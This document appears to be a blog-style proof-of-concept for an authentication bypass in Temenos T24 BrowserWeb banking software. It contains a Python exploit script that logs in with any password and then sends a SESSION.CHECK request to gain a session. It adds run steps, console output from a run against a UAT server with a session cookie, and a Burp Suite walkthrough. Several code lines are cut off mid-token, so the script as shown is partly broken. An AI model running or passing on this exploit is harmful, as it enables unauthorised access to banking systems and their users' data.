

T24 - BrowserWeb bypass authen

For convenience, I have pre-written the POC script here

```
"""
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"""

import requests
import warnings
import argparse

from bs4 import BeautifulSoup

warnings.filterwarnings('ignore')

# Setup Burpsuite proxy
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

session = requests.Session()

def get_form_login(url):
    print("\n\n-----> GET FROM LOGIN <-----")
    url_login = "/BrowserWeb/servlet/BrowserServlet"
    arr_params = dict()
```

```

req = session.get(url + url_login, proxies=proxies, verify=
soup = BeautifulSoup(req.text, 'html.parser')

inputs = soup.find_all('input')

for input in inputs:
    arr_params[input.get("name")] = input.get("value")
print("=> DATA: {}".format(arr_params))
return arr_params

def login(url, data):
    print("\n\n-----> LOGIN <-----")
    url_login = "/BrowserWeb/servlet/BrowserLoginServlet"
    req = session.post(url + url_login, data=data, proxies=prox
    print("=> HEADERS: {}".format(req.headers))

def bypass_login(url):
    print("\n\n-----> BYPASS LOGIN <-----")
    data = {
        "blankRequestType": "SESSION.CHECK"
    }
    url_login = "/BrowserWeb/servlet/BrowserLoginServlet"
    req = session.post(url + url_login, data=data, proxies=prox

    if req.text.find("frameset") != -1 and req.text.find("frame'
        print("=> BYPASSED LOGIN !!!")

        print("=> COOKIE: {}".format(session.cookies))

# ----- MAIN -----
def main():
    # python .\poc.py --url https://t24.manhvn.com --username m
    parser = argparse.ArgumentParser(
        description="Exploit bypass authen T24 BrowserWeb",
        add_help=True

```

```

)
parser.add_argument('--url', type=str, required=True, help=
parser.add_argument('--username', type=str, required=True, l

args = parser.parse_args()

username = args.username
url = args.url

data_params = get_form_login(url)
data_params["signOnName"] = username
data_params["password"] = "123456" # You can enter any passw

login(url, data_params)
bypass_login(url)

# Example: python .\poc.py --url https://t24uat4.manhvn.com
print("\n\nNext action: Go to burpsuite, Show response /Brov

if __name__ == "__main__":
    main()

```

Step 1: Config Burpsuite proxy

- <http://127.0.0.1:8080>

```

proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

```

Step 2: Run POC

```
python .\poc.py --url https://t24.manhvn.com --username manhnv
```

⇒ Please replace the username and valid url

```
PS D:\MSB\SourceCode\exploit-t24> python .\poc.py --url https://t24uat4. --username Nc
-----> GET FROM LOGIN <-----
=> DATA: {'dummy_username': None, 'dummy_password': None, 'command': 'login', 'requestType': 'CREATE.SESSION', 'counter': '67981752', 'branchAdminLogin': '', 'signOnNameEnabled': 'Y', 'signOnName': '', 'password': '', None: 'Sign in'}

-----> LOGIN <-----
=> HEADERS: {'Connection': 'keep-alive', 'X-Permitted-Cross-Domain-Policies': 'none', 'X-XSS-Protection': '1; mode=block', 'X-Content-Type-Options': 'nosniff', 'X-FRAME-OPTIONS': 'SAMEORIGIN', 'Location': 'http://t24uat4. BrowserWeb/jsp/blankPage.jsp', 'Content-Length': '0', 'Date': 'Mon, 27 May 2024 09:06:49 GMT'}

-----> BYPASS LOGIN <-----
=> BYPASSED LOGIN !!!
=> COOKIE: <RequestsCookieJar[<Cookie JSESSIONID="x3T7BBC2HHGSIZ_0LcWl60FmIpz32Ii8JZi382I3.t24uat-web02:server03b" for t24uat4. /BrowserWeb>]>

Next action: Go to burpsuite, Show response /BrowserWeb/servlet/BrowserLoginServlet in browser
PS D:\MSB\SourceCode\exploit-t24>
```

Step 4: Check Burpsuite and follow the steps as below

The screenshot displays the Burp Suite interface. The top section shows the 'HTTP history' tab with a list of intercepted requests. The selected request is a POST to `/BrowserWeb/servlet/BrowserLoginServlet` with a status of 200. The bottom section shows the 'Response' tab for this request, displaying the raw response data and the 'Inspector' panel on the right.

Request Details:

- Method: POST
- URL: `/BrowserWeb/servlet/BrowserLoginServlet`
- Status: 200
- Length: 6475
- MIME Type: HTML
- Extensio...: chain
- Title: T24 - TRU SO CH...
- Notes: T24 Transact UAT
- TLS: ✓
- IP: 10.0.130.211
- Cookies: JSESSIONID=...
- Time: 16:06:39 ...
- Listen: 8080

Response Details:

- Status: 200 OK
- Expires: Thu, 01 Jan 1970 00:00:00 GMT
- Cache-Control: no-cache, no-store
- Set-Cookie: JSESSIONID="x3T7BBC2HHGSIZ_0LcWl60FmIpz32Ii8JZi382I3.t24uat-web02:server03b"; Version=1; Path=/BrowserWeb
- X-Permitted-Cross-Domain-Policies: none
- X-XSS-Protection: 1; mode=block
- Pragma: no-cache
- X-FRAME-OPTIONS: SAMEORIGIN
- Date: Mon, 27 May 2024 09:06:50 GMT
- Connection: keep-alive
- X-Content-Type-Options: nosniff
- Content-Type: text/html; charset=utf-8
- Content-Length: 5986

Inspector Panel:

- Request attributes: 2
- Request body parameters: 1
- Request cookies: 1
- Request headers: 8
- Response headers: 12

Show response in browser

Request

1 POST /BrowserWeb/servlet/BrowserLoginSe
2 Host: t24uat4.
3 User-Agent: python-requests/2.31.0
4 Accept-Encoding: gzip, deflate, br
5 Accept: */*
6 Connection: keep-alive
7 Cookie: JSESSIONID=
8 "oPnRVja736vKrEhaw4ZMiFD_KrOszfaTPslhB9
9 Content-Length: 30
10 Content-Type: application/x-www-form-ur
11 blankRequestType=SESSION.CHECK

Scan

- Do passive scan
- Do active scan
- Send to Intruder Ctrl+I
- Send to Repeater Ctrl+R
- Send to Sequencer
- Send to Comparer
- Send to Decoder
- Send to Organizer Ctrl+O
- Show response in browser
- Request in browser >
- Engagement tools >
- Copy Ctrl+C
- Copy URL
- Copy as curl command (bash)
- Copy to file
- Save item
- Convert selection >
- Cut Ctrl+X
- Copy Ctrl+C
- Paste Ctrl+V

Response

1 HTTP/1.1 200 OK
2 Expires: Thu, 01 Jan 1970 00:00:00 GMT
3 Cache-Control: no-cache, no-store
4 Set-Cookie: JSESSIONID=
5 "x3T7B8C2HHGSIZ_OLcW160FmIpz32Ti8J2i382I3.t24uat-web02:server03b";
6 Version=1; Path=/BrowserWeb
7 X-Permitted-Cross-Domain-Policies: none
8 X-XSS-Protection: 1; mode=block
9 Pragma: no-cache
10 X-FRAME-OPTIONS: SAMEORIGIN
11 Date: Mon, 27 May 2024 09:06:50 GMT
12 Connection: keep-alive
13 X-Content-Type-Options: nosniff
14 Content-Type: text/html; charset=utf-8
15 Content-Length: 5986
16
17 <html xml:lang="en" lang="en">
18 <head>
19 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
20 <meta http-equiv="X-UA-Compatible" content="IE=edge">
21 <link rel="icon" href="../../plat/icon/favicon.ico">
22 <script type="text/javascript" src="../../scripts/ARC/Logger.js">
23 </script>
24 <script type="text/javascript">
25 if(typeof(Logger) != "undefined"){

Event log (5) All issues

https://mega.com.vn Tin tức Thủ thuật

Login success

